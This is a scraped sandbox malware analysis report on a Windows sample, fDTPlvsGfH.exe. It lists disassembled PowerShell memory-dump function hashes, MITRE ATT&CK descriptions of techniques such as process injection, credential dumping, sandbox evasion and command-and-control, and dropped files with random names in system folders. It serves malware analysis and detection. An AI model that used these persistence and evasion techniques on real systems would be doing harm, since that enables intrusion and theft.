Source File: 00000006.00000002.2744593313.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2291f063a94b536f3eed61fc272179b5eff07c389afe1105f3ecd12909b202b0
Instruction ID: 2784085bb8a00a6be0d4c63a5362cfde8a0cb3cd946033acf45006c627cd3be9
Opcode Fuzzy Hash: 2291f063a94b536f3eed61fc272179b5eff07c389afe1105f3ecd12909b202b0
Instruction Fuzzy Hash: 8E313A3190DB8C9FDB59CFA8985A6E97FE0EF56320F0441AFC088C7163DA74580ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B77EDDF Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2735821911.00007FFD9B77D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B77D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b77d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction ID: dd590109c8d15fabc4b384aaa75b1de6e82b6e8f4a6bae447024e285fb581988
Opcode Fuzzy Hash: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction Fuzzy Hash: 18014F3160CE088FDAA4EF1DE485D5237E0FB98320710065AD45DC756AD771F892CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2744593313.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 790f53b18bf535405e1566ca4fc67868e3ace26fd97990e01e1bad52e7daa871
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 7401A73020CB0C4FDB48EF0CE451AA6B7E0FB89320F10056DE58AC36A1DA32E882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B899CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2744593313.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b3ea643f17a63e63a1b7d5800bf695a9227f7625860bda10ae9635cfdad58f6
Instruction ID: 4f17bb1a1fc7e19c9ad0d3c861df80490d520998a0ea6bc7f24a8f51d51e1657
Opcode Fuzzy Hash: 1b3ea643f17a63e63a1b7d5800bf695a9227f7625860bda10ae9635cfdad58f6
Instruction Fuzzy Hash: 80F02431808A8D4FEB1AEF2888694D57FA0EF16310B0502DBE448C71B2DB64A598CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B96414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2752894591.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42f1f6757b325b268447a62e0f39729e6b9004232d5d9e835f7d44587254651d
Instruction ID: 7c3dc9c4ccb4dc0797c669c00d7b99fa9436b8de4f49ee64fc6882c6de84d9fa
Opcode Fuzzy Hash: 42f1f6757b325b268447a62e0f39729e6b9004232d5d9e835f7d44587254651d
Instruction Fuzzy Hash: 8AF0E232B0E5098FD768EB9CE4519E873E0EF6532071600BAE06DC76B3CA25EC40C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B964400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2752894591.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d6fba2d799aa0bf7809a56250d1a2d55bc6cb2828eb0b00e8725dad50403ee
Instruction ID: 485ff79d05f83422088fba0e6d241cc373e29549e37ec38594cbd952b11341dd
Opcode Fuzzy Hash: c4d6fba2d799aa0bf7809a56250d1a2d55bc6cb2828eb0b00e8725dad50403ee
Instruction Fuzzy Hash: 24F0BE32B0E5498FD765EB9CE0619A877E0EF0532470600BAE05DCB5B3CA26AC40C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9641D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2752894591.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: c307260e9cdd7784a7691b08768f083a0fcbbbef75ed33e7c580895a31fc6b9b
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: ADE01A31B1C808DFDA78DA8CE051AE973E1EBA832171241BBD14EC7671CA22ED518B80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8984E3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9B898502
M_^, xrefs: 00007FFD9B898572
M_^, xrefs: 00007FFD9B898562
M_^, xrefs: 00007FFD9B8985C2
M_^, xrefs: 00007FFD9B898522

Memory Dump Source

Source File: 00000006.00000002.2744593313.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: 42eb4c665ec6d8f8906cf7332170f71afb925813bf48c4a10deb3b2a615f48d6
Instruction ID: 05303a9f9b9bb5ab907cf5f897c2c39b111528b74cc14275facd63fb56af4096
Opcode Fuzzy Hash: 42eb4c665ec6d8f8906cf7332170f71afb925813bf48c4a10deb3b2a615f48d6
Instruction Fuzzy Hash: 33316F53E0F6D75BEB63077958790947FA0EE57AA431F03E6C0E88B0A3FD04A94B8241

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7152, Parent PID: 6168COMMON

Executed Functions

Function 00007FFD9B976605 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2820334868.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00de66ee13601a034101a2b700d2eb9ba96184c5ea0db58e48846c1f1db23dad
Instruction ID: 83cd3aeb1027c2cc5dd44ae3238a90cd173a229980609574fbc4aef637f1792f
Opcode Fuzzy Hash: 00de66ee13601a034101a2b700d2eb9ba96184c5ea0db58e48846c1f1db23dad
Instruction Fuzzy Hash: 50D15832A1FB8E5FEBA5DB6848A55B57BE0EF56310B0901FED05CCB0E7DA18AD058341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B78EB89 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2816847590.00007FFD9B78D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B78D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b78d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297d9216b526becb8dfc361b45691d0be8fa4733f0962bf1e0f44aec5510dae8
Instruction ID: e586cd7495fea2e4e721c7a5589a0b28c3dc2a93b8b542679f212f0f5623a1d0
Opcode Fuzzy Hash: 297d9216b526becb8dfc361b45691d0be8fa4733f0962bf1e0f44aec5510dae8
Instruction Fuzzy Hash: 9C41297150EBC84FD7668B3898919623FF0EF56321B1606DFD089CB1B3D725A846C792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A9798 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2818643216.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc5ba2569e20e373f5b0fb3b79b320cb8e701c7b7a0ff87bdd2c367dfa353cab
Instruction ID: 10ad7b57021f478b34d707ee6297382c8acf4a02b6106d1964fab8195d734442
Opcode Fuzzy Hash: dc5ba2569e20e373f5b0fb3b79b320cb8e701c7b7a0ff87bdd2c367dfa353cab
Instruction Fuzzy Hash: 9F319671A1CB4C9FDB1CDF5CA84A6A97BE0FB99321F00422FE449D3251DA70A955CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AA49C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2818643216.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b0d2df15200adf1be970588f51b47a834fd0d48fbb18c9b98774aa52ddcac5
Instruction ID: b1288592844c4293b86b6c9f8e369d0e6e819976823bba125c538806d6c3182a
Opcode Fuzzy Hash: a0b0d2df15200adf1be970588f51b47a834fd0d48fbb18c9b98774aa52ddcac5
Instruction Fuzzy Hash: D321263190C74C4FDB59DBAC984A7E97FF0EB96320F04416BD448C3162DA74A81ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2818643216.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AA0FB Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2818643216.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc5d314d3b9b4f0acd0e907ea6e976405af48ae8135fa52c3ae2e1d59cf2cef
Instruction ID: d5b097d24bfb054322ff93e7179ab2594a0ef88fcd984379c57548e5b066fff3
Opcode Fuzzy Hash: 1bc5d314d3b9b4f0acd0e907ea6e976405af48ae8135fa52c3ae2e1d59cf2cef
Instruction Fuzzy Hash: 8DF0C876A0AA8C5FDB51DF6898654E47FE0FF55201B0501B7D449C7062DA21590887D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B97414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2820334868.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1ec59f2b866e62f2de06e0d14eee2004c575b0a9b3c66cfd2e4f619d760dfc
Instruction ID: 142a2eb97f53d2ca923503b2f04ce31737d7ebf61eae22e805e73d2f1d4c3e20
Opcode Fuzzy Hash: eb1ec59f2b866e62f2de06e0d14eee2004c575b0a9b3c66cfd2e4f619d760dfc
Instruction Fuzzy Hash: F8F0BE32B1E5098FD768EB5CE4919A873E0EF6533071600BAE06DC76B3CA25EC40C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B974400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2820334868.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2263dadcc79f092e54f0cde6757628ec0a163a9746df501ef987dd9d747fdfe
Instruction ID: aa7997fd876916602c7cb07abd1c907a649032cead17a5aa058117c59ab67ab2
Opcode Fuzzy Hash: c2263dadcc79f092e54f0cde6757628ec0a163a9746df501ef987dd9d747fdfe
Instruction Fuzzy Hash: 84F0BE32B0E5498FD764EB5CE4A09A877E0EF0532471600BAE05DCB5B3CA25AC40C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9741D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2820334868.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: 664ee9e526855705bcffdcfcbd412457206555aceccb5f816b9e306c4c7c1cf4
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 43E0123171C4089FD678EA4CE0919AD73E5EBA833171241BBD14EC7672CA21ED518B85

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8A84E3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B8A8562
L_^, xrefs: 00007FFD9B8A8572
L_^, xrefs: 00007FFD9B8A8502
L_^, xrefs: 00007FFD9B8A8522
L_^, xrefs: 00007FFD9B8A85C2

Memory Dump Source

Source File: 00000008.00000002.2818643216.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-2264858084
Opcode ID: 73a9d02a918da306bebbf85274d003dc65a52ee0137d1891bbe81586aafab4df
Instruction ID: 8d303184e4641ee08ad9115007f1778019799d2d0328f594ff940314c619bbd0
Opcode Fuzzy Hash: 73a9d02a918da306bebbf85274d003dc65a52ee0137d1891bbe81586aafab4df
Instruction Fuzzy Hash: A131A353F0FAD61BE363037A48350986FA0EE5BA6435F12F7C4E84B0A3FE0469478261

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fDTPlvsGfH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\ebcca32ff60686

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe:Zone.Identifier

C:\Program Files\Windows Portable Devices\ebcca32ff60686

C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe:Zone.Identifier

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Recovery\ebcca32ff60686

C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Windows Analysis Report
fDTPlvsGfH.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre